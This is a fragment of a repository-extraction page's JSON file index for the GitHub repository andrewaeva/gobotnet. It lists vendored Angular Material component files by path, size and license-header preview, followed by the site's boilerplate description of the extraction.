    "chars": 3012,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/fabToolbar/fabToolbar.js",
    "chars": 6997,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/fabTrigger/fabTrigger.js",
    "chars": 1148,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/gridList/gridList-default-theme.css",
    "chars": 119,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v0.8.0-rc1-master-91053dc\n */\n"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/gridList/gridList.css",
    "chars": 2480,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/gridList/gridList.js",
    "chars": 25636,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/icon/icon-default-theme.css",
    "chars": 551,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/icon/icon.css",
    "chars": 570,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/icon/icon.js",
    "chars": 31553,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/input/input-default-theme.css",
    "chars": 4769,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/input/input.css",
    "chars": 31437,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/input/input.js",
    "chars": 25713,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/list/list-default-theme.css",
    "chars": 1331,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/list/list.css",
    "chars": 10360,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/list/list.js",
    "chars": 10175,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/menu/menu-default-theme.css",
    "chars": 451,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/menu/menu.css",
    "chars": 3872,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/menu/menu.js",
    "chars": 34457,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/menuBar/menuBar-default-theme.css",
    "chars": 1503,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/menuBar/menuBar.css",
    "chars": 2911,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/menuBar/menuBar.js",
    "chars": 17739,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/navBar/navBar-default-theme.css",
    "chars": 621,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/navBar/navBar.css",
    "chars": 1325,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/navBar/navBar.js",
    "chars": 15201,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/panel/panel-default-theme.css",
    "chars": 430,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/panel/panel.css",
    "chars": 1327,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/panel/panel.js",
    "chars": 64884,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/progressCircular/progressCircular-default-theme.css",
    "chars": 2248,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/progressCircular/progressCircular.css",
    "chars": 7637,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/progressCircular/progressCircular.js",
    "chars": 9180,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/progressLinear/progressLinear-default-theme.css",
    "chars": 1446,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/progressLinear/progressLinear.css",
    "chars": 10126,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/progressLinear/progressLinear.js",
    "chars": 6432,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/radioButton/radioButton-default-theme.css",
    "chars": 6615,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/radioButton/radioButton.css",
    "chars": 5810,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/radioButton/radioButton.js",
    "chars": 10759,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\ngoog.provide('ng.mat"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/select/select-default-theme.css",
    "chars": 3403,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/select/select.css",
    "chars": 9316,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/select/select.js",
    "chars": 53334,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/showHide/showHide.js",
    "chars": 1454,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/sidenav/sidenav-default-theme.css",
    "chars": 408,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/sidenav/sidenav.css",
    "chars": 3404,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/sidenav/sidenav.js",
    "chars": 14691,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/slider/slider-default-theme.css",
    "chars": 4654,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/slider/slider.css",
    "chars": 13027,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/slider/slider.js",
    "chars": 18611,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/sticky/sticky.css",
    "chars": 867,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/sticky/sticky.js",
    "chars": 11898,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/subheader/subheader-default-theme.css",
    "chars": 647,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/subheader/subheader.css",
    "chars": 1838,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/subheader/subheader.js",
    "chars": 3660,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/swipe/swipe.js",
    "chars": 2501,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/switch/switch-default-theme.css",
    "chars": 2021,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/switch/switch.css",
    "chars": 4155,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/switch/switch.js",
    "chars": 5745,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/tabs/tabs-default-theme.css",
    "chars": 8194,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/tabs/tabs.css",
    "chars": 10621,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/tabs/tabs.js",
    "chars": 43711,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/textField/textField-default-theme.css",
    "chars": 1912,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v0.9.0-rc1-master-3c0ce9b\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/textField/textField.css",
    "chars": 7940,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v0.9.0-rc1-master-3c0ce9b\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/textField/textField.js",
    "chars": 4533,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v0.9.0-rc1-master-3c0ce9b\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/toast/toast-default-theme.css",
    "chars": 854,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/toast/toast.css",
    "chars": 5077,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/toast/toast.js",
    "chars": 16738,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/toolbar/toolbar-default-theme.css",
    "chars": 1457,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/toolbar/toolbar.css",
    "chars": 4465,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/toolbar/toolbar.js",
    "chars": 7657,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/tooltip/tooltip-default-theme.css",
    "chars": 445,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/tooltip/tooltip.css",
    "chars": 2068,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/tooltip/tooltip.js",
    "chars": 13531,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/virtualRepeat/virtualRepeat.css",
    "chars": 1439,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/virtualRepeat/virtualRepeat.js",
    "chars": 31895,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/whiteframe/whiteframe.css",
    "chars": 4139,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\n/"
  },
  {
    "path": "web/bower_components/angular-material/modules/closure/whiteframe/whiteframe.js",
    "chars": 1593,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.1.0-rc4-master-c26842a\n */\ng"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/autocomplete/autocomplete-default-theme.css",
    "chars": 1127,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/autocomplete/autocomplete.css",
    "chars": 6769,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/autocomplete/autocomplete.js",
    "chars": 42522,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n(function( window, a"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/autocomplete/bower.json",
    "chars": 290,
    "preview": "{\n  \"name\": \"angular-material-autocomplete\",\n  \"version\": \"1.1.0-rc4-master-c26842a\",\n  \"dependencies\": {\n    \"angular-m"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/backdrop/backdrop-default-theme.css",
    "chars": 425,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/backdrop/backdrop.css",
    "chars": 1152,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/backdrop/backdrop.js",
    "chars": 2456,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n(function( window, a"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/backdrop/bower.json",
    "chars": 163,
    "preview": "{\n  \"name\": \"angular-material-backdrop\",\n  \"version\": \"1.1.0-rc4-master-c26842a\",\n  \"dependencies\": {\n    \"angular-mater"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/bottomSheet/bottomSheet-default-theme.css",
    "chars": 670,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/bottomSheet/bottomSheet.css",
    "chars": 5912,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/bottomSheet/bottomSheet.js",
    "chars": 9993,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n(function( window, a"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/bottomSheet/bower.json",
    "chars": 227,
    "preview": "{\n  \"name\": \"angular-material-bottomSheet\",\n  \"version\": \"1.1.0-rc4-master-c26842a\",\n  \"dependencies\": {\n    \"angular-ma"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/button/bower.json",
    "chars": 161,
    "preview": "{\n  \"name\": \"angular-material-button\",\n  \"version\": \"1.1.0-rc4-master-c26842a\",\n  \"dependencies\": {\n    \"angular-materia"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/button/button-default-theme.css",
    "chars": 9264,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/button/button.css",
    "chars": 6324,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n/*  Only used with T"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/button/button.js",
    "chars": 4417,
    "preview": "/*!\n * Angular Material Design\n * https://github.com/angular/material\n * @license MIT\n * v1.0.9\n */\n(function( window, a"
  },
  {
    "path": "web/bower_components/angular-material/modules/js/card/bower.json",
    "chars": 159,
    "preview": "{\n  \"name\": \"angular-material-card\",\n  \"version\": \"1.1.0-rc4-master-c26842a\",\n  \"dependencies\": {\n    \"angular-material-"
  }
]

// ... and 379 more files (download for full content)

About this extraction

This page contains the full source code of the andrewaeva/gobotnet GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 579 files (9.1 MB), approximately 2.4M tokens, and a symbol index with 1443 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!